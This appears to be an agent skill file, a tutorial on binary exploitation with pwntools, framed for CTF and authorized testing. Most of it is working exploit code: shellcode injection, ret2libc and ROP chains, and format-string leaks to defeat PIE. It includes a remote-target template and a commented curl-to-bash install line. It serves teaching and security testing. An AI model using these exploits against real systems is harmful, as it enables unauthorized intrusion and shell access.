--- name: performing-binary-exploitation-analysis description: 'Analyze binary exploitation techniques including buffer overflows and ROP chains using pwntools Python library. Covers checksec analysis, gadget discovery with ROPgadget, and exploit development for CTF and authorized security assessments. ' domain: cybersecurity subdomain: offensive-security tags: - binary-exploitation - pwntools - rop-chains - buffer-overflow version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - ID.RA-01 - GV.OV-02 - DE.AE-07 --- # Performing Binary Exploitation Analysis **For authorized security testing and CTF challenges only.** Analyze ELF binaries for exploitation vectors using checksec, ROPgadget, and pwntools for buffer overflow and ROP chain development. ## When to Use - Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities - Solving binary exploitation challenges in CTF competitions - Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries - Developing proof-of-concept exploits for vulnerability reports to demonstrate impact - Training security engineers in exploit development techniques for defensive awareness - Validating that security patches for buffer overflow vulnerabilities are effective **Do not use** against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents). ## Prerequisites - Linux system (Ubuntu/Debian recommended) for exploit development - Python 3.8+ with `pwntools` (`pip install pwntools`) - GDB with `pwndbg` or `GEF` plugin for enhanced debugging - `ROPgadget` for ROP chain gadget discovery (`pip install ROPgadget`) - `checksec` (included with pwntools or standalone via `apt install checksec`) - Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries) - Basic understanding of x86/x86_64 calling conventions and stack layout ## Workflow ### Step 1: Install the Exploitation Toolkit ```bash # Install pwntools and dependencies pip install pwntools ROPgadget # Install GDB with pwndbg plugin git clone https://github.com/pwndbg/pwndbg cd pwndbg && ./setup.sh # Alternatively, install GEF (GDB Enhanced Features) # bash -c "$(curl -fsSL https://gef.blah.cat/sh)" # Install supporting tools sudo apt install -y gdb nasm gcc-multilib libc6-dbg # Verify installation python3 -c "from pwn import *; print('pwntools version:', version)" checksec --version ROPgadget --version ``` ### Step 2: Analyze Binary Protections with checksec Before writing any exploit, enumerate the security mitigations compiled into the binary: ```python from pwn import * # Load the target binary binary_path = "./vulnerable_server" elf = ELF(binary_path) # checksec output explains what mitigations are in place print(f"Architecture: {elf.arch}") print(f"Bits: {elf.bits}") print(f"Endianness: {elf.endian}") print() # Key security properties # RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT # Stack Canary: Detects stack buffer overflows via random canary value # NX (No-eXecute): Prevents executing code on the stack (DEP) # PIE: Position Independent Executable, randomizes base address # ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space) # Also available via command line: # checksec --file=./vulnerable_server ``` ```bash # Command-line checksec output example: checksec --file=./vulnerable_server # RELRO STACK CANARY NX PIE # Partial RELRO No canary found NX disabled No PIE # Check ASLR status on the system cat /proc/sys/kernel/randomize_va_space # 0 = disabled, 1 = conservative, 2 = full randomization ``` ### Step 3: Find the Buffer Overflow Offset Determine exactly how many bytes are needed to overwrite the return address: ```python from pwn import * context.binary = ELF("./vulnerable_server") context.log_level = "info" # Method 1: Use cyclic pattern to find exact offset # Generate a unique cyclic pattern pattern_length = 200 pattern = cyclic(pattern_length) print(f"Generated cyclic pattern of length {pattern_length}") # Send the pattern to the binary p = process("./vulnerable_server") p.sendline(pattern) p.wait() # After the crash, read the value in RIP/EIP from core dump or GDB # Then find the offset: # For 64-bit: crashed_value = p.corefile.fault_addr # Or manually from GDB: "info registers rip" after crash crashed_rip = 0x6161616c # Example value from crash offset = cyclic_find(crashed_rip) print(f"Offset to return address: {offset} bytes") # Method 2: Use GDB with pwndbg to find offset interactively # In GDB: # pwndbg> cyclic 200 # pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())") # pwndbg> cyclic -l $rsp (or cyclic -l ) ``` ### Step 4: Exploit a Stack Buffer Overflow (NX Disabled) When NX is disabled, inject and execute shellcode directly on the stack: ```python from pwn import * # Configuration binary_path = "./vulnerable_server" context.binary = ELF(binary_path) context.arch = "amd64" # or "i386" for 32-bit OFFSET = 72 # Determined in Step 3 # Generate shellcode # execve("/bin/sh", NULL, NULL) - spawn a shell shellcode = asm(shellcraft.sh()) print(f"Shellcode length: {len(shellcode)} bytes") # Build the exploit payload # Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled] nop_sled = asm("nop") * 32 # For a local exploit without ASLR, we can estimate the buffer address # Run in GDB first to find the buffer address: # break *main+XX (after read/gets call) # x/20x $rsp buffer_addr = 0x7fffffffe000 # Example - get from GDB padding_len = OFFSET - len(nop_sled) - len(shellcode) payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr) # Launch exploit p = process(binary_path) p.sendline(payload) p.interactive() # Interact with the spawned shell ``` ### Step 5: Build a ROP Chain (NX Enabled) When NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming): ```bash # Find ROP gadgets in the binary ROPgadget --binary ./vulnerable_server # Find specific gadgets ROPgadget --binary ./vulnerable_server --only "pop|ret" ROPgadget --binary ./vulnerable_server --only "mov|ret" # Search for gadgets to control registers for syscall ROPgadget --binary ./vulnerable_server | grep "pop rdi" ROPgadget --binary ./vulnerable_server | grep "pop rsi" ROPgadget --binary ./vulnerable_server | grep "pop rdx" ROPgadget --binary ./vulnerable_server | grep "syscall" # Find gadgets in libc (for ret2libc attacks) ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20 ``` ```python from pwn import * binary_path = "./vulnerable_server" elf = ELF(binary_path) context.binary = elf OFFSET = 72 # Method 1: ret2libc - call system("/bin/sh") via libc # When the binary is dynamically linked and we know libc version libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # Start process to leak libc address p = process(binary_path) # If there is a format string or info leak, use it to find libc base # Example: binary prints puts@GOT address p.recvuntil(b"puts address: ") puts_leak = int(p.recvline().strip(), 16) libc.address = puts_leak - libc.symbols["puts"] log.success(f"libc base: {hex(libc.address)}") # Find a "pop rdi; ret" gadget for x86_64 calling convention # First argument goes in RDI register pop_rdi = elf.search(asm("pop rdi; ret")).__next__() ret_gadget = elf.search(asm("ret")).__next__() # Stack alignment # Build the ROP chain: system("/bin/sh") bin_sh_addr = next(libc.search(b"/bin/sh\x00")) system_addr = libc.symbols["system"] rop_chain = flat( b"A" * OFFSET, # Padding to reach return address ret_gadget, # Stack alignment (needed for movaps in system) pop_rdi, # pop rdi; ret - load /bin/sh address into RDI bin_sh_addr, # Address of "/bin/sh" string in libc system_addr, # Call system() ) p.sendline(rop_chain) p.interactive() ``` ### Step 6: Use pwntools ROP Helper for Automated Chain Building ```python from pwn import * binary_path = "./vulnerable_server" elf = ELF(binary_path) context.binary = elf OFFSET = 72 # pwntools automatic ROP chain builder rop = ROP(elf) # If the binary has enough gadgets, pwntools can build chains automatically # For execve("/bin/sh", 0, 0) syscall: rop.call("puts", [elf.got["puts"]]) # Leak GOT entry rop.call(elf.symbols["main"]) # Return to main for second stage # Print the ROP chain for debugging print(rop.dump()) # Build first-stage payload (leak libc) stage1 = flat( b"A" * OFFSET, rop.chain() ) p = process(binary_path) p.sendline(stage1) # Parse the leaked puts address p.recvuntil(b"\n") # Skip program output leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00")) log.success(f"Leaked puts@GOT: {hex(leaked_puts)}") # Calculate libc base libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc.address = leaked_puts - libc.symbols["puts"] log.success(f"libc base: {hex(libc.address)}") # Build second-stage ROP chain using libc gadgets rop2 = ROP(libc) rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0]) stage2 = flat( b"A" * OFFSET, rop2.chain() ) p.sendline(stage2) p.interactive() ``` ### Step 7: Debug Exploits with GDB and pwndbg ```python from pwn import * binary_path = "./vulnerable_server" elf = ELF(binary_path) context.binary = elf context.terminal = ["tmux", "splitw", "-h"] # or ["gnome-terminal", "--"] # Launch binary under GDB with pwndbg p = gdb.debug(binary_path, """ # Set breakpoints at key locations break *main break *main+85 # Continue to the vulnerable function continue """) # GDB commands useful during exploit development: # pwndbg> vmmap - Show memory mappings (find stack, heap, libc) # pwndbg> checksec - Show binary protections # pwndbg> search -s "/bin/sh" - Find string in memory # pwndbg> rop --grep "pop rdi" - Search for gadgets # pwndbg> cyclic 200 - Generate cyclic pattern # pwndbg> cyclic -l 0x616161 - Find offset from pattern value # pwndbg> telescope $rsp 20 - Show stack contents # pwndbg> x/20gx $rsp - Examine stack as 64-bit values # pwndbg> heap - Analyze heap state # pwndbg> got - Show GOT entries and resolved addresses # pwndbg> plt - Show PLT entries OFFSET = 72 payload = b"A" * OFFSET + p64(0xdeadbeef) p.sendline(payload) p.interactive() ``` ### Step 8: Handle PIE and ASLR with Information Leaks ```python from pwn import * binary_path = "./vulnerable_pie_binary" elf = ELF(binary_path) context.binary = elf # When PIE is enabled, we need to leak a code address to defeat randomization # Common leak techniques: # 1. Format string vulnerability: %p to leak stack/code pointers # 2. Partial overwrite: overwrite only lower bytes of a pointer # 3. Uninitialized memory: read stack memory containing code pointers p = process(binary_path) # Example: Using a format string leak to defeat PIE # If the binary has a printf(user_input) vulnerability: p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") leak_output = p.recvline().strip().decode() leaked_addrs = leak_output.split(".") # Parse leaked addresses to find a code pointer for i, addr in enumerate(leaked_addrs): try: val = int(addr, 16) # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit if 0x550000000000 <= val <= 0x560000000000: log.info(f"Offset {i}: {addr} (likely PIE code address)") # libc addresses typically at 0x7fXXXXXXXXXX elif 0x7f0000000000 <= val <= 0x800000000000: log.info(f"Offset {i}: {addr} (likely libc address)") except ValueError: continue # Once we have a leaked PIE address, calculate the binary base leaked_code_addr = int(leaked_addrs[5], 16) # Example offset elf.address = leaked_code_addr - elf.symbols["main"] # Adjust for known offset log.success(f"PIE base: {hex(elf.address)}") # Now we can use absolute addresses in our ROP chain rop = ROP(elf) # ... build chain using elf.symbols which are now correctly rebased ``` ### Step 9: Exploit a Remote Target ```python from pwn import * # Configuration REMOTE_HOST = "target.ctf.example.com" REMOTE_PORT = 9001 binary_path = "./vulnerable_server" elf = ELF(binary_path) context.binary = elf def exploit(target): """Run the full exploit chain against a target (local or remote).""" OFFSET = 72 # Stage 1: Leak libc rop1 = ROP(elf) rop1.call("puts", [elf.got["puts"]]) rop1.call(elf.symbols["main"]) payload1 = flat(b"A" * OFFSET, rop1.chain()) target.sendlineafter(b"Input: ", payload1) leaked = u64(target.recvline().strip().ljust(8, b"\x00")) log.success(f"Leaked puts: {hex(leaked)}") # Stage 2: ret2libc libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc.address = leaked - libc.symbols["puts"] rop2 = ROP(libc) rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0]) payload2 = flat(b"A" * OFFSET, rop2.chain()) target.sendlineafter(b"Input: ", payload2) target.interactive() # Test locally first log.info("Testing exploit locally...") local = process(binary_path) exploit(local) # Then run against remote target # log.info("Running exploit against remote target...") # remote = remote(REMOTE_HOST, REMOTE_PORT) # exploit(remote) ``` ## Verification - Confirm `checksec` correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection - Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the `ret` instruction and confirming RIP/EIP contains the expected cyclic value - Test shellcode payloads execute correctly in a controlled environment with NX disabled - Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall/function call - Confirm the exploit works both locally (`process()`) and against a remote target (`remote()`) when the correct libc version is used - Verify that PIE bypass correctly rebases all addresses by checking GDB `vmmap` output against calculated addresses - Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness) - Run `ROPgadget` output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary